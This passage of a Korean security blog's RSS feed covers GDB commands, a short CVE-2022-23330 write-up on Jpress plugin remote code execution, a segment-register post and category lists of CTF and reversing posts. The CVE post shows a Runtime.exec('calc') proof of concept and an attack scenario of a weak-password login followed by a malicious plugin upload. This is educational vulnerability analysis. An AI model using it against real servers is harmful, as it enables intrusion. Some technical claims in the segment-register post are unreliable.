  &lt;li&gt;disable display 디스플레이를 비활성화한다. 인자로는 디스플레이 고유번호가 들어간다.&lt;/li&gt;
  &lt;li&gt;watch 인자에 변수명이 들어가며, 변수의 값이 변할 때 브레이크가 걸린다.&lt;/li&gt;
  &lt;li&gt;x 인자가 가리키는 주소의 값을 출력한다. (0x주소, 함수명, 주소가 담긴 변수명, *주소가 담긴 위치의 추소 등..) x/x등의 방법을 이용해 표기 형태를 정할 수 있다.&lt;/li&gt;
  &lt;li&gt;x/1x 인자가 가르키는 주소의 값부터 4바이트를 16진수로 출력한다.&lt;/li&gt;
  &lt;li&gt;j (jump) 현재 실행하는 주소를 변경한다. 인자로는 행이나 *주소, 함수명 등이 들어간다.&lt;/li&gt;
  &lt;li&gt;set 값을 설정한다. set {타입}0x주소 = 값&lt;/li&gt;
  &lt;li&gt;bt 호출 스택을 본다.&lt;/li&gt;
  &lt;li&gt;thread 인자가 가르키는 스레드로 변경한다. (info threads를 통해 정보를 알아낼 수 있다.) thread apply all bt를 통해 모든 스레드의 호출 스택을 볼 수 있다.&lt;/li&gt;
  &lt;li&gt;I (info) 여러 정보를 보여준다.&lt;/li&gt;
  &lt;li&gt;info files 파일에 대한 정보를 보여준다. 엔트리포인트와 메모리맵이 여기에 포함된다. 한번 실행 후 실행하여야 제대로 주소가 표시되는 경우가 많다.&lt;/li&gt;
  &lt;li&gt;info registers (I r) 레지스터에 대한 정보를 보여준다.&lt;/li&gt;
  &lt;li&gt;info frame (I f) 스택 프레임에 대한 정보를 보여준다.&lt;/li&gt;
  &lt;li&gt;info breakpoints (I b) 브레이크포인트에 대한 정보를 보여준다.&lt;/li&gt;
  &lt;li&gt;info display 디스플레이에 대한 정보를 보여준다.&lt;/li&gt;
  &lt;li&gt;info locals 지역변수에 대한 정보를 보여준다.&lt;/li&gt;
  &lt;li&gt;info variables 전역변수에 대한 정보를 보여준다.&lt;/li&gt;
  &lt;li&gt;info signals 시그널의 종류에 대해 출력한다. (signal 종류로 프로세스에게 시그널을 보낼 수 있다. kill명령어와 같음.)&lt;/li&gt;
  &lt;li&gt;info functions 함수에 대한 정보를 출력한다.&lt;/li&gt;
  &lt;li&gt;info args 현재 프레임의 인자를 출력한다.&lt;/li&gt;
  &lt;li&gt;info catch 현재 프레임의 예외 핸들러를 출력한다&lt;/li&gt;
  &lt;li&gt;call 함수를 호출하여 반환값을 출력한다. 인자에는 함수명과 인자가 들어간다. (함수명(인자, 인자))&lt;/li&gt;
  &lt;li&gt;finish 함수를 수행하고 빠져나간다.&lt;/li&gt;
  &lt;li&gt;return 함수를 수행하지 않고 빠져나간다. 인자로 리턴값을 줄 수 있다.&lt;/li&gt;
  &lt;li&gt;f (frame) 스택 프레임 정보를 표시하거나 특정 스택 프레임으로 변경할 수 있다. 인자로는 번호가 들어가, 해당 프레임으로 변경 가능하다. up과 down 명령어로 스택 프레임을 상위나 하위로 옮길 수 있다. 상위 프레임으로 갈 수록 메인 함수에 가까워진다.&lt;/li&gt;
  &lt;li&gt;출력 형식 t - 2진수, o - 8진수, d - 10진수, u - 부호없는 10진수, x - 16진수, c - 문자(4바이트 이상이 값일 경우 처음 1바이트만 출력), s - 문자열, f - 부동소수점, a가장 가까운 심볼의 오프셋, I - 어셈블리 명령어&lt;/li&gt;
  &lt;li&gt;출력 단위 x/20(단위)(형식)과 같은 형태로 사용가능하다. b - 1바이트, h - 2바이트, w - 4바이트, g - 8바이트&lt;/li&gt;
  &lt;li&gt;set listsize 한번에 출력하는 행의 개수를 정한다.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 22 Feb 2022 01:40:24 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/GDB-명령어-정리/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/GDB-명령어-정리/</guid>
      </item>
    
      <item>
        <title>CVE-2022-23330</title>
        <description>&lt;h3 id=&quot;취약점-번호---cve-2022-23330&quot;&gt;취약점 번호 - &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23330&quot;&gt;CVE-2022-23330&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;영향을-주는-프로그램---jpress&quot;&gt;영향을 주는 프로그램 - Jpress&lt;/h3&gt;

&lt;h3 id=&quot;취약점이-주는-영향---rce-클라이언트에서-서버에게-원격으로-정해진-코드를-실행시킬-수-있다&quot;&gt;취약점이 주는 영향 - (RCE) 클라이언트에서 서버에게 원격으로 정해진 코드를 실행시킬 수 있다&lt;/h3&gt;

&lt;h3 id=&quot;취약점-요약---프로그램의-플러그인이-서버의-기능-외의-특정-코드를-실행시킬-수-있다&quot;&gt;취약점 요약 - 프로그램의 플러그인이 서버의 기능 외의 특정 코드를 실행시킬 수 있다&lt;/h3&gt;

&lt;h3 id=&quot;취약점-대처-방안---패스워드-강화&quot;&gt;취약점 대처 방안 - 패스워드 강화&lt;/h3&gt;

&lt;h3 id=&quot;취약점-대처--&quot;&gt;취약점 대처 -&lt;/h3&gt;

&lt;h3 id=&quot;원본-버그-리포트&quot;&gt;&lt;a href=&quot;https://gitee.com/JPressProjects/jpress/issues/I4QZZ8&quot;&gt;원본 버그 리포트&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Jpress는 중국 공기관 등의 사이트에서 사용하는, 결제기능이 추가된 Java버전의 WordPress와 같은 웹사이트 관리 프로그램이다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Jpress는 플러그인을 이용해서 더 많은 이용할 수 있도록 도와주는데, 플러그인에서 자바 런타임을 불러와 exec명령을 통해, 서버 관리의 범주를 벗어나는 기능을 수행할 수 있다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getRuntime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;calc&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 해당 명령줄을 통해 악성 코드를 실행할 수 있다.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;공격-시나리오---공격자는-서버의-프로그램에-접근해-취약한-비밀번호를-이용해-로그인을-한-후-악성-코드가-들어있는-플러그인을-적용시킨-뒤-코드-실행-스위치를-누른다&quot;&gt;공격 시나리오 - 공격자는 서버의 프로그램에 접근해, 취약한 비밀번호를 이용해 로그인을 한 후, 악성 코드가 들어있는 플러그인을 적용시킨 뒤, 코드 실행 스위치를 누른다&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;큰 영향을 끼칠 수 있는 취약점이며 많은 사용자가 이용하고 있는 만큼 심각하지만, 간단한 대처를 통해 공격을 막아낼 수 있으므로, 해당 단일 취약점으로 인한 공격이 자주 이루어지기보다, 이미 공격에 성공한 서버에 악성 플러그인을 심어 백도어로 이용할 듯 하다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Tue, 22 Feb 2022 01:40:23 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/CVE-2022-23330/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/CVE-2022-23330/</guid>
      </item>
    
      <item>
        <title>세그먼트 레지스터 변경 방지</title>
        <description>&lt;p&gt;세그먼트 레지스터는 32비트 프로그램에서 22, 64비트 프로그램에서 0으로 표시되곤 한다. 프로그램이 명령을 실행하거나 할 때, 주소 앞에 붙어 물리적 주소 위치를 계산해주는 역할을 한다.
하지만 이는 저장할 내용이 많지만 저장할 공간은 부족한 16비트 기반의 운영체제에서 일어나던 일이다. 32비트 이상의 컴퓨터에는 충분한 데이터 공간이 생겼으며, 64비트 프로그램에서는 수백테라바이트 이상의 데이터를 저장하지 않는 이상 데이터 공간이 모자라지 않게 되었다.
그리하여 32비트부터는 물리적 메모리 주소를 사용하지 않게 되었으며, 필요성에 의해 세그먼트 주소도 사용되지 않게 되었다. (호환성때문에 여전히 존재는 한다.)&lt;/p&gt;

&lt;p&gt;여기서 문제. Ss세그먼트가 0x22일 때, 0x10을 곱한 값을 더해줌으로써 물리적 메모리 주소를 계산한다.
(0x22 * 0x10 + 0x400000)
하지만 windbg나 여러 디버거로 21:400000을 입력하면 22:400000을 입력한 값과 똑같은 내용이 나온다는것을 알게 되었다.
추가로 세그먼트 레지스터가 20이어도, 23이어도 같은 값을 표시한다. 그 외에는 메모리를 불러 올 수 없다고 한다. (28과 29도 추가로 동일한 값을 표시한다.)&lt;/p&gt;

&lt;p&gt;나는 이러한 현상이 왜 일어나는지 궁금해했다.
커뮤니티의 친절한 답변에는, 물리 메모리 주소는 프로그램의 매우 중요한 내용이기 때문에 계산의 미스때문에 잘못된 주소로 이동하는것을 방지하기 위해, 커널단에서 보정을 해준다고 한다.
그렇기 때문에 제대로 된 세그먼트 레지스터값 22의 주변, 20~23의 값을 입력하면 자동으로 22로 계산하여 보여주는 것으로 추측된다.
덤으로 자신의 범위를 벗어난 메모리를 읽으려 하면 프로그램이 종료되기 때문에, 이를 방지하기 위해서 커널이 보정해 주는 것이기도 하다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/21165678/why-64-bit-mode-long-mode-doesnt-use-segment-registers&quot;&gt;https://stackoverflow.com/questions/21165678/why-64-bit-mode-long-mode-doesnt-use-segment-registers&lt;/a&gt;&lt;/p&gt;

  &lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/125532/why-cant-i-change-the-value-of-a-segment-register-masm&quot;&gt;https://stackoverflow.com/questions/125532/why-cant-i-change-the-value-of-a-segment-register-masm&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Mon, 21 Feb 2022 01:40:23 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Segment_register/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Segment_register/</guid>
      </item>
    
      <item>
        <title>테스트페이지입니다.</title>
        <description>&lt;p&gt;테스트페이지같지 않다고 생각하실수도 있지만 진짜에요!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://media.giphy.com/media/vb5AU0gsTBHsSq165k/giphy.gif&quot; alt=&quot;대충 멋진 움짤&quot; title=&quot;굿나잇!&quot; /&gt;&lt;/p&gt;

&lt;p&gt;아니면 말고요!&lt;/p&gt;
</description>
        <pubDate>Fri, 18 Feb 2022 01:40:23 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Testpage/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Testpage/</guid>
      </item>
    

    
      
        
      
    
      
    
      
    
      
        
          <item>
            <title></title>
            <description>&lt;h3&gt;   &lt;/h3&gt;

&lt;div id=&quot;categories&quot;&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#etc&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/etc&quot;&gt;etc&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;etc&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/rust-sled-template/&quot;&gt;Rust sled template&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/CVE-2023-25690/&quot;&gt;[byuctf2025] CVE-2023-25690&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/flask-session-decode/&quot;&gt;Flask session decode&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/hash-original-value/&quot;&gt;해시 원본 값 구하기&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/python-deserialization-rce/&quot;&gt;파이썬 역직렬화 원격 코드 실행 취약점&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Testpage/&quot;&gt;테스트페이지입니다.&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#reversing&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/reversing&quot;&gt;reversing&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;reversing&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/android-packet-inspect-tls/&quot;&gt;Android 패킷 캡처중 tls 관련 오류 해결&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/osu-gaming-ctf-2025/&quot;&gt;osu!gamingCTF 2025 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/android-recompile-signing/&quot;&gt;Android 앱 리컴파일 이후 서명&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/brunner-ctf-2025/&quot;&gt;BrunnerCTF 2025 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/down-under-ctf-2025/&quot;&gt;DownUnderCTF 2025 문제풀이 및 오답노트&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/no-hack-no-ctf-2025/&quot;&gt;No Hack No CTF 2025 7문제 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/reversing-golang-pattern/&quot;&gt;리버싱 golang 패턴 정리&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/reversing-ai/&quot;&gt;리버싱에서의 AI 사용&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/byuctf2025-baby-android2/&quot;&gt;[byuctf2025] Baby Android 2&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/byuctf2025-baby-android1/&quot;&gt;[byuctf2025] Baby Android 1&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/unity-binary-modification/&quot;&gt;유니티 게임 파일 변조법&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2_2/&quot;&gt;70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2[2]&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2/&quot;&gt;70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/GDB-명령어-정리/&quot;&gt;GDB 명령어 정리&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Segment_register/&quot;&gt;세그먼트 레지스터 변경 방지&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#learning&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/learning&quot;&gt;learning&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;learning&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/android-packet-inspect-tls/&quot;&gt;Android 패킷 캡처중 tls 관련 오류 해결&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/osu-gaming-ctf-2025/&quot;&gt;osu!gamingCTF 2025 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/android-recompile-signing/&quot;&gt;Android 앱 리컴파일 이후 서명&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/brunner-ctf-2025/&quot;&gt;BrunnerCTF 2025 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/down-under-ctf-2025/&quot;&gt;DownUnderCTF 2025 문제풀이 및 오답노트&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/no-hack-no-ctf-2025/&quot;&gt;No Hack No CTF 2025 7문제 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/file-system-journal/&quot;&gt;운영체제 별 파일 시스템 저널 읽기&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/reversing-golang-pattern/&quot;&gt;리버싱 golang 패턴 정리&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/reversing-ai/&quot;&gt;리버싱에서의 AI 사용&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/smileyctf2025-success/&quot;&gt;[smileyctf2025] Success&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/byuctf2025-wembsocket/&quot;&gt;[byuctf2025] Wembsoncket&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/BYUCTF2025-JWTF/&quot;&gt;[byuctf2025] JWTF&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/byuctf2025-baby-android2/&quot;&gt;[byuctf2025] Baby Android 2&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/byuctf2025-baby-android1/&quot;&gt;[byuctf2025] Baby Android 1&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/CVE-2023-25690/&quot;&gt;[byuctf2025] CVE-2023-25690&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/flask-session-decode/&quot;&gt;Flask session decode&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/hash-original-value/&quot;&gt;해시 원본 값 구하기&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/CVE-2024-53104&quot;&gt;CVE-2024-53104&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/rust-backtraced-error/&quot;&gt;러스트 에러 콜스택&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/unity-binary-modification/&quot;&gt;유니티 게임 파일 변조법&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/python-deserialization-rce/&quot;&gt;파이썬 역직렬화 원격 코드 실행 취약점&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Introduction-To-Implementation-Of-The-SLUB-Allocator-Via-Socket-Buffer-Allocation-And-Deallocation&quot;&gt;Introduction To Implementation Of The SLUB Allocator Via Socket Buffer Allocation And Deallocation&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Analysis-about-Fractional-GPU-on-Kubernetes&quot;&gt;Analysis about Fractional GPU on Kubernetes&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/A-Method-To-Find-The-Units-Digit-Of-A-Given-Decimal&quot;&gt;A Method To Find The Units Digit Of A Given Decimal Without Using Division Or Modulo Operations&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Monitor-Mode-To-Wireless-Frame-Analysis&quot;&gt;Dog Sniffing The Network: Monitor Mode To Wireless Frame Analysis&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Go-BubbleTea/&quot;&gt;Go - TUI 라이브러리 BubbleTea&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/CVE-2024-23848&quot;&gt;CVE-2024-23848&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Rust-Static_Validation/&quot;&gt;Rust - 정적 코드 분석&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Wasm_Wasi_Wasix/&quot;&gt;Wasm/Wasi/Wasix를 알아보자&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/SurrealDB/&quot;&gt;SurrealDB란 무엇인가?&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Colatz_Conjecture/&quot;&gt;Bit-Wise Analysis Of The Collatz Conjecture&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2_2/&quot;&gt;70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2[2]&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2/&quot;&gt;70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Rust-Task_Future_Context/&quot;&gt;Rust - Task, Future, Context 사용법&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Rust-Free_match/&quot;&gt;Rust - 자유로운 match 사용법&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Double_Liked_List_for_Generic_data/&quot;&gt;일반적인 (generic) 데이터를 저장하는 이중 연결 리스트&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Heap_overflow/&quot;&gt;Perthread cache (tcache)에서의 UAF와 DFB&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/GDB-명령어-정리/&quot;&gt;GDB 명령어 정리&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/CVE-2022-23330/&quot;&gt;CVE-2022-23330&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Segment_register/&quot;&gt;세그먼트 레지스터 변경 방지&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#cve&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/cve&quot;&gt;cve&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;cve&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/CVE-2024-53104&quot;&gt;CVE-2024-53104&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/CVE-2022-23330/&quot;&gt;CVE-2022-23330&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#rust&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/rust&quot;&gt;rust&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;rust&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/rust-sled-template/&quot;&gt;Rust sled template&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/rust-backtraced-error/&quot;&gt;러스트 에러 콜스택&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Rust-Static_Validation/&quot;&gt;Rust - 정적 코드 분석&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Rust-Task_Future_Context/&quot;&gt;Rust - Task, Future, Context 사용법&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Rust-Free_match/&quot;&gt;Rust - 자유로운 match 사용법&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
